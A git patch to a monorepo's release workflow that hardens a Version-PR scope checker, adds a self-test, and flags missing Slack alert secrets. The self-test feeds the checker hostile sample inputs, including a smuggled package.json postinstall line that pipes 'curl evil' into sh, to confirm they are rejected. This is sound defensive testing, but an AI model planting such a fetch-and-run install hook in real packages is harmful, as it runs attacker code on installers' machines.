From e4f8867ac7a196a339d71b3b5a69450d1e650cd0 Mon Sep 17 00:00:00 2001
From: Luke Parke <5702154+LukasParke@users.noreply.github.com>
Date: Wed, 21 Oct 2026 17:57:30 +0000
Subject: [PATCH] fix(release): derive version-PR allowlist from gen:version;
 flag missing Slack config

The release train has failed every run since 2026-09-01 with
"path outside allowlist: packages/agent/src/mcp/version.ts": #104
hard-coded packages/*/src/version.ts, then #102 moved the generated file.

- verify-version-pr-scope.sh now derives the allowed generated version
  files from each package's `gen:version` script (the writeFileSync path
  in the generator), read from the trusted main checkout. Fails closed if
  a generator can't be parsed.
- Add `--self-test` (offline) and run it in CI's lint job.
- release-train: warn + job summary when the Slack alert secrets are
  empty, and an error + summary when a run fails without alerting.
- Fix stale version.ts paths in turbo.json outputs and a publish.yaml note.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
---
 .github/scripts/verify-version-pr-scope.sh | 198 +++++++++++++++------
 .github/workflows/ci.yaml                  |   6 +
 .github/workflows/publish.yaml             |   2 +-
 .github/workflows/release-train.yaml       |  41 +++++
 turbo.json                                 |   2 +-
 5 files changed, 197 insertions(+), 52 deletions(-)

diff --git a/.github/scripts/verify-version-pr-scope.sh b/.github/scripts/verify-version-pr-scope.sh
index 38e3882a..f7cc3ec5 100755
--- a/.github/scripts/verify-version-pr-scope.sh
+++ b/.github/scripts/verify-version-pr-scope.sh
@@ -4,12 +4,19 @@
 # mechanical `changeset version` output before an unattended merge.
 #
 # Two layers, both fail-closed:
-#   1. Path allowlist: consumed changesets (.changeset/*.md) and per-package
-#      package.json / CHANGELOG.md / src/version.ts. No root package.json
-#      (private, unversioned), no lockfile (workspace:* deps don't touch it).
-#      src/version.ts is the committed gen:version output (see publish.yaml's
-#      `pnpm run version` note) — a Version PR bumping @openrouter/mcp always
-#      carries it, so excluding it would fail every such train run.
+#   1. Path allowlist: consumed changesets (.changeset/*.md), per-package
+#      package.json / CHANGELOG.md, and each package's committed gen:version
+#      output (see publish.yaml's `pnpm run version` note). No root
+#      package.json (private, unversioned), no lockfile (workspace:* deps
+#      don't touch it). The gen:version output paths are DERIVED, not
+#      hard-coded: for every packages/*/package.json with a
+#      `"gen:version": "node <script>.mjs"` script, the path that script
+#      passes to `writeFileSync(join(root, '<path>'))` is allowed. A
+#      hard-coded `src/version.ts` broke every train run once #102 moved the
+#      file to src/mcp/version.ts. The derivation reads the trusted checkout
+#      (the train checks out main, not the PR branch), and a PR that edits a
+#      generator is itself outside the allowlist. Unparseable generator →
+#      its output is not allowed (fail closed).
 #   2. Content vet for package.json: paths alone are not enough — a smuggled
 #      `"postinstall"` script in packages/*/package.json passes a path check,
 #      survives `pnpm install --frozen-lockfile` (script-only edits don't
@@ -17,7 +24,7 @@
 #      npm OIDC id-token is in scope. So every changed line in a package.json
 #      must be a version bump or an internal @openrouter/* dependency range
 #      bump — exactly what `changeset version` emits (cf. Version PR #57).
-#      src/version.ts gets the same treatment: every changed line must match
+#      The generated version file gets the same treatment: every changed line must match
 #      the fixed gen-version.mjs output shape (comments or the PACKAGE_VERSION
 #      constant), so a smuggled statement can't ride the auto-merge either.
 #
@@ -25,6 +32,8 @@
 # 100 entries and sorts .changeset/ first, so a padded PR could hide an
 # out-of-scope file past the page boundary.
 #
+# Usage: verify-version-pr-scope.sh             (vet PR $PR in $REPO)
+#        verify-version-pr-scope.sh --self-test (offline; run in CI)
 # Inputs (env): PR, REPO required; GH_TOKEN for gh.
 # Output: "head_sha=<sha>" on stdout (the head this check vetted).
 # Exit: 0 = in scope; 1 = out of scope or the diff could not be read, with
@@ -32,45 +41,42 @@
 
 set -euo pipefail
 
-: "${PR:?PR is required}"
-: "${REPO:?REPO is required}"
-
-PR_INFO="$(gh pr view "$PR" -R "$REPO" --json headRefOid,baseRefName,changedFiles)"
-HEAD_SHA="$(echo "$PR_INFO" | python3 -c 'import sys,json; print(json.load(sys.stdin)["headRefOid"])')"
-BASE_REF="$(echo "$PR_INFO" | python3 -c 'import sys,json; print(json.load(sys.stdin)["baseRefName"])')"
-DECLARED="$(echo "$PR_INFO" | python3 -c 'import sys,json; print(json.load(sys.stdin)["changedFiles"])')"
+REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
 
-# Vet the diff of the immutable SHA itself (compare API), not "the PR's
-# current files": with the mutable pulls/N/files endpoint, an A→B→A flip-flop
-# timed inside this script could get files from revision B vetted while
-# head_sha reports A. compare/<base>...<sha> is cryptographically bound to
-# HEAD_SHA, so what we vet is exactly what the caller pins and merges
-# (pr-gate.sh passes it to --match-head-commit).
-FILES_NDJSON="$(gh api "repos/${REPO}/compare/${BASE_REF}...${HEAD_SHA}" \
-  --jq '.files[] | {filename, patch}')"
-
-echo "head_sha=${HEAD_SHA}"
-
-if [ -z "$FILES_NDJSON" ]; then
-  echo "::error::Could not read diff for ${HEAD_SHA:0:7} (empty) — refusing" >&2
-  exit 1
-fi
+# The vetter reads compare-API file entries ({filename, patch}) as NDJSON on
+# stdin. With VET_MODE=list it instead prints the derived generated version
+# file paths, one per line.
+read -r -d '' VETTER <<'PY' || true
+import json, os, re, sys
+from pathlib import Path
 
-# The compare endpoint caps the files array (~300), so a padded PR could hide
-# an out-of-scope path past the cap. Cross-check against the PR's own
-# changed-files count and refuse on any mismatch — covers truncation AND a
-# base that moved enough to skew the diff. (A real Version PR is small; a
-# false refusal here just goes red and re-vets on re-run.)
-ENUMERATED="$(printf '%s\n' "$FILES_NDJSON" | grep -c .)"
-if [ "$ENUMERATED" != "$DECLARED" ]; then
-  echo "::error::Diff for ${HEAD_SHA:0:7} enumerated ${ENUMERATED} files but PR declares ${DECLARED} — refusing" >&2
-  exit 1
-fi
+def generated_version_files(root):
+    out = set()
+    for pkg_json in sorted(Path(root, "packages").glob("*/package.json")):
+        pkg_dir = pkg_json.parent
+        try:
+            script = json.loads(pkg_json.read_text()).get("scripts", {}).get("gen:version", "")
+        except (OSError, ValueError, AttributeError):
+            continue
+        m = re.fullmatch(r"\s*node\s+([\w./-]+\.mjs)\s*", script if isinstance(script, str) else "")
+        if not m or ".." in m.group(1).split("/"):
+            continue
+        try:
+            src = (pkg_dir / m.group(1)).read_text()
+        except OSError:
+            continue
+        for rel in re.findall(r"writeFileSync\(\s*join\(\s*root\s*,\s*['\"]([\w./-]+\.ts)['\"]\s*\)", src):
+            if ".." in rel.split("/"):
+                continue
+            out.add(f"packages/{pkg_dir.name}/{rel}")
+    return out
 
-printf '%s\n' "$FILES_NDJSON" | python3 -c '
-import json, re, sys
+GENERATED = generated_version_files(os.environ["REPO_ROOT"])
+if os.environ.get("VET_MODE") == "list":
+    print("\n".join(sorted(GENERATED)))
+    sys.exit(0)
 
-ALLOW = re.compile(r"^(\.changeset/[^/]+\.md|packages/[^/]+/(package\.json|CHANGELOG\.md|src/version\.ts))$")
+BASE_ALLOW = re.compile(r"^(\.changeset/[^/]+\.md|packages/[^/]+/(package\.json|CHANGELOG\.md))$")
 # The only lines `changeset version` changes in a package.json: the version
 # field, and internal dependency ranges when updateInternalDependencies fires.
 OK_LINE = re.compile(
@@ -78,10 +84,9 @@ OK_LINE = re.compile(
 )
 # gen-version.mjs emits a fixed 5-line file; a version bump only rewrites the
 # string literal in the constant. Allow comment lines, the blank line, and the
-# constant itself. \x27 is a single quote (this code lives inside a
-# shell-single-quoted string, so literal apostrophes are unusable here).
+# constant itself.
 OK_VERSION_TS_LINE = re.compile(
-    r"^[+-]\s*(//.*|/\*\*.*\*/|export const PACKAGE_VERSION = \x27[^\x27]+\x27;)?\s*$"
+    r"^[+-]\s*(//.*|/\*\*.*\*/|export const PACKAGE_VERSION = '[^']+';)?\s*$"
 )
 
 bad = []
@@ -91,11 +96,15 @@ for raw in sys.stdin:
         continue
     f = json.loads(raw)
     name = f["filename"]
-    if not ALLOW.match(name):
-        bad.append(f"path outside allowlist: {name}")
+    is_gen = name in GENERATED
+    if not (is_gen or BASE_ALLOW.match(name)):
+        hint = ""
+        if name.endswith("version.ts"):
+            hint = f" (derived gen:version outputs: {', '.join(sorted(GENERATED)) or 'none'})"
+        bad.append(f"path outside allowlist: {name}{hint}")
         continue
-    if name.endswith("package.json") or name.endswith("src/version.ts"):
-        ok_line = OK_VERSION_TS_LINE if name.endswith(".ts") else OK_LINE
+    if is_gen or name.endswith("package.json"):
+        ok_line = OK_VERSION_TS_LINE if is_gen else OK_LINE
         patch = f.get("patch")
         if patch is None:
             # No inline patch (file too large / binary flag) — cannot vet.
@@ -113,4 +122,93 @@ if bad:
         print(f"::error::{b}", file=sys.stderr)
     sys.exit(1)
 print("Diff scope OK — only mechanical changeset version output.", file=sys.stderr)
-'
+PY
+
+# --self-test: offline check of the vetter against this checkout (no gh, no
+# network). Runs in CI so a generator move like #102 fails the PR that makes
+# it instead of every subsequent unattended train run.
+if [ "${1:-}" = "--self-test" ]; then
+  vet() { REPO_ROOT="$REPO_ROOT" python3 -c "$VETTER" 2>/dev/null; }
+  entry() {
+    python3 -c 'import json,sys; print(json.dumps({"filename":sys.argv[1],"patch":sys.argv[2]}))' "$1" "$2"
+  }
+  fail=0
+  expect() { # expect <pass|fail> <description> <ndjson>
+    local got
+    if printf '%s\n' "$3" | vet; then got=pass; else got=fail; fi
+    if [ "$got" = "$1" ]; then
+      echo "ok   - $2"
+    else
+      echo "FAIL - $2 (expected $1, got $got)"
+      fail=1
+    fi
+  }
+
+  GEN_FILES="$(VET_MODE=list REPO_ROOT="$REPO_ROOT" python3 -c "$VETTER" </dev/null)"
+  if [ -z "$GEN_FILES" ]; then
+    echo "FAIL - no gen:version output paths derived from packages/*/package.json"
+    exit 1
+  fi
+  while IFS= read -r gen; do
+    if [ -f "$REPO_ROOT/$gen" ]; then
+      echo "ok   - derived $gen exists"
+    else
+      echo "FAIL - derived $gen does not exist"
+      fail=1
+    fi
+    expect pass "$gen: PACKAGE_VERSION bump" "$(entry "$gen" "$(printf '%s\n' \
+      '@@ -5 +5 @@' \
+      "-export const PACKAGE_VERSION = '0.11.0';" \
+      "+export const PACKAGE_VERSION = '1.0.0';")")"
+    expect fail "$gen: smuggled statement" "$(entry "$gen" "+import 'evil';")"
+  done <<< "$GEN_FILES"
+
+  expect pass "changeset + CHANGELOG + package.json version bump" "$(printf '%s\n' \
+    "$(entry .changeset/some-change.md '-x')" \
+    "$(entry packages/agent/CHANGELOG.md '+## 1.0.0')" \
+    "$(entry packages/agent/package.json "$(printf '%s\n' '-  "version": "0.11.0",' '+  "version": "1.0.0",')")")"
+  expect fail "package.json postinstall smuggle" \
+    "$(entry packages/agent/package.json '+    "postinstall": "curl evil | sh",')"
+  expect fail "source file outside allowlist" "$(entry packages/agent/src/index.ts '+x')"
+  expect fail "non-generated version.ts" \
+    "$(entry packages/agent/src/version.ts "+export const PACKAGE_VERSION = '1.0.0';")"
+  expect fail "generator edit" "$(entry packages/agent/scripts/gen-version.mjs '+x')"
+  exit "$fail"
+fi
+
+: "${PR:?PR is required}"
+: "${REPO:?REPO is required}"
+
+PR_INFO="$(gh pr view "$PR" -R "$REPO" --json headRefOid,baseRefName,changedFiles)"
+HEAD_SHA="$(echo "$PR_INFO" | python3 -c 'import sys,json; print(json.load(sys.stdin)["headRefOid"])')"
+BASE_REF="$(echo "$PR_INFO" | python3 -c 'import sys,json; print(json.load(sys.stdin)["baseRefName"])')"
+DECLARED="$(echo "$PR_INFO" | python3 -c 'import sys,json; print(json.load(sys.stdin)["changedFiles"])')"
+
+# Vet the diff of the immutable SHA itself (compare API), not "the PR's
+# current files": with the mutable pulls/N/files endpoint, an A→B→A flip-flop
+# timed inside this script could get files from revision B vetted while
+# head_sha reports A. compare/<base>...<sha> is cryptographically bound to
+# HEAD_SHA, so what we vet is exactly what the caller pins and merges
+# (pr-gate.sh passes it to --match-head-commit).
+FILES_NDJSON="$(gh api "repos/${REPO}/compare/${BASE_REF}...${HEAD_SHA}" \
+  --jq '.files[] | {filename, patch}')"
+
+echo "head_sha=${HEAD_SHA}"
+
+if [ -z "$FILES_NDJSON" ]; then
+  echo "::error::Could not read diff for ${HEAD_SHA:0:7} (empty) — refusing" >&2
+  exit 1
+fi
+
+# The compare endpoint caps the files array (~300), so a padded PR could hide
+# an out-of-scope path past the cap. Cross-check against the PR's own
+# changed-files count and refuse on any mismatch — covers truncation AND a
+# base that moved enough to skew the diff. (A real Version PR is small; a
+# false refusal here just goes red and re-vets on re-run.)
+ENUMERATED="$(printf '%s\n' "$FILES_NDJSON" | grep -c .)"
+if [ "$ENUMERATED" != "$DECLARED" ]; then
+  echo "::error::Diff for ${HEAD_SHA:0:7} enumerated ${ENUMERATED} files but PR declares ${DECLARED} — refusing" >&2
+  exit 1
+fi
+
+printf '%s\n' "$FILES_NDJSON" | REPO_ROOT="$REPO_ROOT" python3 -c "$VETTER"
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index b5b3281d..736cb14a 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -39,6 +39,12 @@ jobs:
       - name: Biome check
         run: pnpm run lint
 
+      # Offline self-test of the release train's Version PR scope gate: fails
+      # here if a gen:version output moves and the derived allowlist breaks,
+      # rather than on every unattended train run afterwards.
+      - name: Release scope gate self-test
+        run: bash .github/scripts/verify-version-pr-scope.sh --self-test
+
   typecheck:
     runs-on: ubuntu-latest
     steps:
diff --git a/.github/workflows/publish.yaml b/.github/workflows/publish.yaml
index 06a8b179..7a5a154f 100644
--- a/.github/workflows/publish.yaml
+++ b/.github/workflows/publish.yaml
@@ -203,7 +203,7 @@ jobs:
           commit: 'chore: version packages'
           # `pnpm run version`, not `changeset version` directly: the bump has
           # to be followed by `turbo run gen:version` so committed generated
-          # files (packages/mcp/src/version.ts) are regenerated in the same
+          # files (packages/agent/src/mcp/version.ts) are regenerated in the same
           # commit. Otherwise the Version PR ships a package.json at the new
           # version and a version.ts at the old one, and version.test.ts fails
           # on it — turbo's `test` task uses `dependsOn: ["^build"]`, which
diff --git a/.github/workflows/release-train.yaml b/.github/workflows/release-train.yaml
index 0745d178..baad9ec5 100644
--- a/.github/workflows/release-train.yaml
+++ b/.github/workflows/release-train.yaml
@@ -52,6 +52,35 @@ jobs:
     steps:
       - uses: actions/checkout@v6
 
+      # Every alert below is a no-op when the Slack secrets are unset — it
+      # just logs "(slack not configured; would have posted)" inside a step
+      # nobody reads, which is how 15 consecutive red train runs (2026-09/10)
+      # went unnoticed. Surface that as a run annotation + job summary on
+      # every run, and (final step) a loud summary when a run fails unalerted.
+      # Warning, not failure: a missing Slack config must not itself block
+      # releases.
+      - name: Check Slack alerting config
+        id: slack-config
+        env:
+          SLACK_BOT_TOKEN: ${{ secrets.CI_RELEASE_ALERT_SLACK_BOT_TOKEN }}
+          SLACK_CHANNEL_ID: ${{ secrets.CI_RELEASE_ALERT_SLACK_CHANNEL_ID }}
+        run: |
+          set -euo pipefail
+          missing=()
+          [ -n "${SLACK_BOT_TOKEN:-}" ] || missing+=(CI_RELEASE_ALERT_SLACK_BOT_TOKEN)
+          [ -n "${SLACK_CHANNEL_ID:-}" ] || missing+=(CI_RELEASE_ALERT_SLACK_CHANNEL_ID)
+          if [ "${#missing[@]}" -eq 0 ]; then
+            echo "configured=true" >> "$GITHUB_OUTPUT"
+            exit 0
+          fi
+          echo "configured=false" >> "$GITHUB_OUTPUT"
+          echo "::warning title=Release train alerts are disabled::Secret(s) ${missing[*]} are empty, so release-train failures will NOT be posted to Slack."
+          {
+            echo "### :warning: Release train Slack alerting is not configured"
+            echo
+            echo "Empty secret(s): \`${missing[*]}\`. Failures of this unattended workflow will not page anyone."
+          } >> "$GITHUB_STEP_SUMMARY"
+
       # Short-lived App installation token (same App as publish.yaml /
       # bump-openrouter-sdk.yaml). Replaces the old GH_TOKEN PAT, which the
       # enterprise's 366-day-lifetime policy started rejecting — that outage
@@ -268,3 +297,15 @@ jobs:
         run: |
           chmod +x .github/scripts/pr-gate.sh
           ./.github/scripts/pr-gate.sh
+
+      - name: Flag unalerted failure
+        if: failure() && steps.slack-config.outputs.configured != 'true'
+        env:
+          RUN_URL: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}
+        run: |
+          echo "::error title=Release train failed with no Slack alert::This run failed and Slack alerting is not configured, so nobody was paged. Releases may be stalled. ${RUN_URL}"
+          {
+            echo "### :rotating_light: Release train FAILED — nobody was alerted"
+            echo
+            echo "Slack secrets are empty, so the failure alert above was only logged. Check the failed step, and configure \`CI_RELEASE_ALERT_SLACK_BOT_TOKEN\` / \`CI_RELEASE_ALERT_SLACK_CHANNEL_ID\`."
+          } >> "$GITHUB_STEP_SUMMARY"
diff --git a/turbo.json b/turbo.json
index b1ee173d..440b63e3 100644
--- a/turbo.json
+++ b/turbo.json
@@ -11,7 +11,7 @@
     "gen:version": {
       "cache": false,
       "inputs": ["package.json"],
-      "outputs": ["src/version.ts"]
+      "outputs": ["src/mcp/version.ts"]
     },
     "typecheck": {
       "dependsOn": ["^build"],